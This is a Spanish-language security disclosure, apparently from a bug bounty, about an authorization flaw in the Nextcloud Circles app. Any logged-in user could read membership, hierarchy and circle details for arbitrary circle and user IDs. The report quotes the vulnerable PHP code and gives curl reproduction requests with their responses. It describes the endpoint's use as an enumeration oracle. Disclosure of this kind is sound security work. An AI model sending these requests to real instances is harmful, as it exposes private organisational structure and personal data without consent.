Resumen
El método getMembership() de la app Circles de Nextcloud, presente en MembershipService y MembershipRequest, no verificaba que el usuario que hacía la petición tuviera permiso para ver la información de membresía de una combinación concreta de círculo y usuario. Cualquier usuario autenticado podía consultar los detalles de membresía (rutas de herencia, niveles de membresía y relaciones entre círculos) de cualquier círculo y cualquier usuario con solo conocer o adivinar sus IDs.
Se le asignó CVE-2026-68493 y Nextcloud publicó el aviso de seguridad GHSA-f99w-3pm7-v4cv. El programa pagó recompensa (importe no público).
Causa raíz
Ninguna de las capas de la cadena de llamadas aplica una comprobación de autorización:
MembershipService::getMembership()(lib/Service/MembershipService.php) llama directamente aMembershipRequest::getMembership()sin comprobar permisos. Su firma ni siquiera recibe un parámetro$initiator, así que no le llega ningún contexto de permisos:
public function getMembership(string $circleId, string $singleId, bool $detailed = false): Membership {
$membership = $this->membershipRequest->getMembership($circleId, $singleId); // No authorization check!
if ($detailed) {
$details = $this->circleRequest->getCirclesByIds($membership->getInheritancePath());
$membership->setInheritanceDetails($details); // Also leaks circle details
}
return $membership;
}
MembershipRequest::getMembership()(lib/Db/MembershipRequest.php) consulta la base de datos filtrando solo porcircleIdysingleId, sin ningún filtro de permisos, de modo que devuelve datos para cualquier combinación que exista:
public function getMembership(string $circleId, string $singleId): Membership {
$qb = $this->getMembershipSelectSql();
$qb->limitToCircleId($circleId);
$qb->limitToSingleId($singleId);
$qb->leftJoinCircleConfig(self::TABLE_MEMBERSHIP);
return $this->getItemFromRequest($qb); // No permission check!
}
- El endpoint
link()deLocalController(lib/Controller/LocalController.php) está marcado con@NoAdminRequiredy solo llama asetCurrentFederatedUser(), que comprueba únicamente que el usuario esté autenticado, no que tenga permiso sobre la membresía pedida. Además siempre invocagetMembership()condetailed=true, ygetCirclesByIds()usaminimumLevel => Member::LEVEL_NONE, así que también expone los detalles completos de todos los círculos de la ruta de herencia:
public function link(string $circleId, string $singleId): DataResponse {
try {
$this->setCurrentFederatedUser();
$membership = $this->membershipService->getMembership($circleId, $singleId, true); // No authorization!
return new DataResponse($this->serialize($membership));
} catch (Exception $e) {
$this->e($e, ['circleId' => $circleId, 'singleId' => $singleId]);
throw new OCSException($e->getMessage(), (int)$e->getCode());
}
}
Ruta afectada, según el reporte:
GET /ocs/v2.php/circles/link/{circleId}/{singleId}
Pasos de reproducción
Entorno de prueba: Nextcloud 32.0.3 con la app Circles 32.0.0. El atacante solo necesita una cuenta autenticada válida, poder hacer peticiones HTTP a la instancia y conocer (o adivinar por fuerza bruta) los valores de circleId y singleId.
- La víctima crea un círculo:
curl -X POST "http://localhost:8080/ocs/v2.php/apps/circles/circles" \
-H "OCS-APIRequest: true" \
-H "Content-Type: application/json" \
-u victim:[REDACTADO] \
-d '{"name": "Victim Secret Circle", "personal": false}'
La respuesta devuelve el id del círculo y el singleId del iniciador:
<data>
<id>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</id>
<name>Victim Secret Circle</name>
<displayName>Victim Secret Circle</displayName>
<initiator>
<singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
<userId>victim</userId>
</initiator>
</data>
- La víctima consulta su propia membresía (acceso legítimo, sirve de referencia):
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
-H "OCS-APIRequest: true" \
-u victim:[REDACTADO]
- El atacante, con su propia cuenta, hace exactamente la misma consulta:
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
-H "OCS-APIRequest: true" \
-u attacker:[REDACTADO]
- Ambas peticiones devuelven datos idénticos, lo que confirma el acceso no autorizado:
<data>
<singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
<circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
<circleConfig>0</circleConfig>
<level>9</level>
<inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
<inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
<inheritancePath>
<element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
</inheritancePath>
<inheritanceDepth>1</inheritanceDepth>
<inheritanceDetails>
<element>
<id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
<name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
<displayName>victim</displayName>
<userId>victim</userId>
<owner>
<userId>victim</userId>
</owner>
</element>
</inheritanceDetails>
</data>
El atacante obtiene el ID del círculo, el singleId de la víctima, su nivel de membresía (9, propietario), la ruta de herencia con los detalles de los círculos y la identificación del usuario.
Como la única excepción posible es MembershipNotFoundException cuando la combinación no existe, el endpoint sirve además de oráculo de enumeración: distingue entre "la membresía existe" (devuelve datos) y "no existe" (lanza excepción).
Impacto
Cualquier usuario autenticado podía:
- Acceder a la información de membresía de cualquier combinación de círculo y usuario.
- Descubrir círculos privados u ocultos enumerando relaciones de membresía.
- Mapear la estructura organizativa a través de las rutas de herencia.
- Conocer niveles de membresía y jerarquías sin autorización.
- Identificar relaciones entre círculos y estructuras anidadas.
En un escenario real, un atacante podría enumerar todos los círculos a los que pertenece un objetivo, descubrir círculos directivos o equipos confidenciales, reconstruir la jerarquía de la organización e identificar a personas clave, información útil para ataques de ingeniería social dirigidos. El investigador apunta también a un posible choque con normativas de protección de datos como el RGPD.
Remediación
El reporte no detalla la corrección aplicada; los detalles están en el aviso de seguridad GHSA-f99w-3pm7-v4cv.